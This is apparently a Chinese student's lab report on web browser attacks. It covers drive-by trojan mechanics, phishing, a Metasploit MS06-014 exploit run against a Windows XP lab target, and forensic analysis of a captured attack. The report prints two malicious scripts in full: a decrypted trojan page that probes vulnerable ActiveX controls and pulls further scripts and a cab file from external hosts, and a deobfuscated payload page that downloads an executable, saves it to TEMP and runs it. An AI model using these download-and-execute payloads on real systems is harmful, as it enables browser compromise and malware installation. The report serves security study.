1. 实践内容
1.1 web 浏览器的技术发展与安全威胁
现代web浏览器的基本结构与机理
- 现代web浏览器需理解和支持HTML,XHTML等一系列标准,支持应用层协议的stream的接收和解析,构建客户端脚本语言的执行环境,并支持一些第三方实现扩展插件等。
web浏览的安全问题与威胁
-
安全困境三要素:复杂性(代码多,则漏洞多),可扩展性(扩展软件安全得不到保障),连通性。
-
web浏览安全威胁位置:网络协议,系统平台,插件,用户。
1.2 网页木马(渗透威胁)
- 挂接在内容访问网页上恶意脚本,利用浏览器漏洞。
- 由恶意网页脚本发展而来,驱动力靠黑产。
网页木马的机理分析
- 针对web浏览器的客户端渗透代码,取得客户端主机的远程代码执行权限以植入恶意程序。
- 网页木马具有清晰的攻击流程:
- 网页木马的特性:具有多样化的客户端渗透攻击位置和技术,木马的分布式及链接挂载,灵活的病毒编写及混淆技术。
- 两种攻击技术:利用主机系统本身的远程渗透漏洞,或利用堆内存操纵进行shellcode注入(以构造字符串数组的方式在堆内存中堆砌出包含大段空字节的着陆区和shellcode指令空间,然后利用内存溢出漏洞执行攻击)。
- 网页挂马机制:将攻击代码挂接到用户访问页面上,包含四种策略:
- 内嵌HTML标签(iframe),并进行隐藏和多种嵌套。
- 恶意script脚本:外部引用脚本。
- 内嵌对象链接:对象为可上传的内容的网站。
- arp欺骗挂马:同一网段进行arp欺骗进行中间人劫持。
- 混淆机制:
- 代码重新排版,去除注释,使用随机字符串替代变量名。
- 代码编码混淆。
- 对木马加密,执行时通过解密后利用eval()函数动态输出或执行。
- 字符串,特殊函数混淆,执行时还原。
- 混淆文件结构。
网页木马的检测与分析
- 基于特征码匹配的传统检测方法:提取代码特征码以匹配检测。
- 基于统计与机器学习的静态分析方法:利用特征进行分类。
- 基于动态行为结果判定:构建蜜罐环境,分析网页行为,判别是否被挂马。
- 基于模拟浏览器环境的动态分析检测方法。
- 防范措施:提高系统与软件的安全性。
1.3 网络钓鱼
- 社会工程学的自动化。
- 普遍的技术流程:
- 扫描网段,寻找存有漏洞的服务器;
- 攻陷服务器并安装隐藏后门或重定向网站;
- 访问服务器,下载构建好的钓鱼网站内容,上线钓鱼网站;
- 下载群发电子邮件工具,并大规模散发;
- 在后台用脚本搜集受害者信息。
- 网页欺骗手段:
- 假冒ip或dns域名。
- 架设假冒网站作为真实网站的代理。
- 利用恶意代码修改受害者主机的hosts文件。
- 防范:利用反钓鱼软件,提高防范意识。
2. 实践过程
web浏览器渗透攻击
攻击机:kali,靶机:winxp。
攻击过程:按照攻击流程依次为:
- 打开msfconsole;
- use mso6-014模块,设置payload为shell远程连接,设置服务器地址,url参数,run;
- 在靶机中使用浏览器访问挂马url;
- 查看metasploit中攻击状态,成功后执行远程命令。
从图中可以观察到攻击机已经同靶机(192.168.200.124)建立会话连接。可尝试执行一些命令,如ipconfig等。
取证分析实践 一个实际的网页木马攻击场景
-
获取真实代码过程:
由于提供的说明中没有相应的原始文件入口,故直接按照所给的分析文档,跳到对文件进行md5值校对这一步,求一下
http://aa.18dd.net/ww/new09.htm
和http://js.users.51.la/1299644.js
的MD5 32位值,找到相应的hash文件,修改文件后缀后用记事本打开:
-
加密方法及解密:由1可发现
new09.htm
所用的加密为xxtea+base64编码,密钥通过十六进制编码加密(解码可知密码为script)。将文件内容进行解密后如下(由于找不到在线的xxtea解密网站,这里直接贴分析文档中的解密内容):function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}
-
利用的安全漏洞:从代码中可以很明显的发现利用的漏洞有Adodb.Stream,MPS.StormPlayer,POWERPLAYER.PowerPlayerCtrl.1,BaiduBar.Tool等的漏洞,其中第一个微软的漏洞是书上讲的著名数据库漏洞。
-
可执行文件,下载器及下载文件:由于不知道对应的需要MD5值的文件名是啥,故偷懒跟着分析文档找到对应的可执行文件pps.exe,对该可执行程序做一些分析:
首先用IDApro打开此文件,从字符串分析,该程序可能会从固定网站下载近20第一个程序(提供文件中的20来个程序可以证明这一点),并可能会自动执行这些程序。
接下来还可以对该文件进行动态分析,应该会有更多有用的信息。
web浏览器渗透攻防
- 攻击过程:攻击过程如实践一(该模块的载荷代码显然已经经过了混淆,如返回随机字符串,源代码特殊处理(分割)等)。
-
分析过程:网上的反混淆工具好像没啥用,还不如用word替换。。下面组合后的代码:
<html><head><title></title><scriptlanguage="javascript">functionNRSXOgqiSBkz(o,n){varr=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r);}functionmDRvliWrqLDDqKN(a){vars=NRSXOgqiSBkz(a,"WScript.Shell");varo=NRSXOgqiSBkz(a,"ADODB.Stream");vare=s.Environment("Process");varurl=document.location+'/payload';varxml=null;varbin=e.Item("TEMP")+"\\WHMXshtOvjxNXnNeqP.exe";vardat;try{xml=newXMLHttpRequest();}catch(e){try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}}if(!xml{return(0);}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}functionyZONecnpRPtZcQOMwJeBmb(){vari=0;vart=newArray('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){vara=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1));}else{try{a=newActiveXObject(t[i]);}catch(e){}}if(a){try{varb=NRSXOgqiSBkz(a,"WScript.Shell");if(b){mDRvliWrqLDDqKN(a);return(0);}}catch(e){}}i++;}}</script></head><bodyonload='yZONecnpRPtZcQOMwJeBmb()'>ywzGRI</body></html>
一系列数字部分显然有点熟悉,这有可能是用来进行漏洞攻击构造的数据,可以通过其查找可能的攻击类型,BD96C556,貌似是一个用的很多的网马数据。
取证分析 web浏览器遭遇攻击
-
攻击针对协议:
wireshark打开文件,对协议进行排序,可以发现涉及的会话层协议有http,NBNS(如果算的话)。针对协议应该是http,毕竟明文传输。
-
文件中的ip,主机名,域名:
对数据进行统计:
-
可能包含恶意脚本的网页:
发现数据描述多为下载gif或jpeg,估计是返回构建好的网页(可能性较大),故这些网页多含有恶意脚本。几个ip是192.168.56.51(sploitme.com.cn,域名可从追踪到的数据流中寻找),192.168.56.52,总之是受到资源请求的网页可能性较大,这样看来的话,10.*等ip应该就是受害主机了。
-
脚本内容,解码:
尝试对分组进行过滤 ip.addr == 192.168.56.51,追踪其数据流,发现有脚本内容:
但是代码经过了混淆处理。
-
目标操作系统,软件,漏洞,防范措施:
操作系统:windows NT, ubuntu4.6 等;
软件:浏览器机器插件等;
漏洞:缓冲区溢出漏洞等;
防范措施:提高防范意识,使用安全的浏览器。
-
shellcode执行操作,MD5值:
-
二进制可执行代码参与目的:根据上面的脚本,shellcode通过加载user32和kernel中的函数入口,访问了某个网页,以下载了一些恶意程序。
问题与解决
-
拿到资料的时候其实是懵的,无从下手;
解决:看分析文档。
-
代码的反编译和反混淆,解密阶段无从下手;
解决:借助一些在线工具以及熟悉的文件处理工具。
实践总结
最后几个个实践做得确实糟心,分析的都不太好,最后已经没有耐性了,这工作有点kbjdl。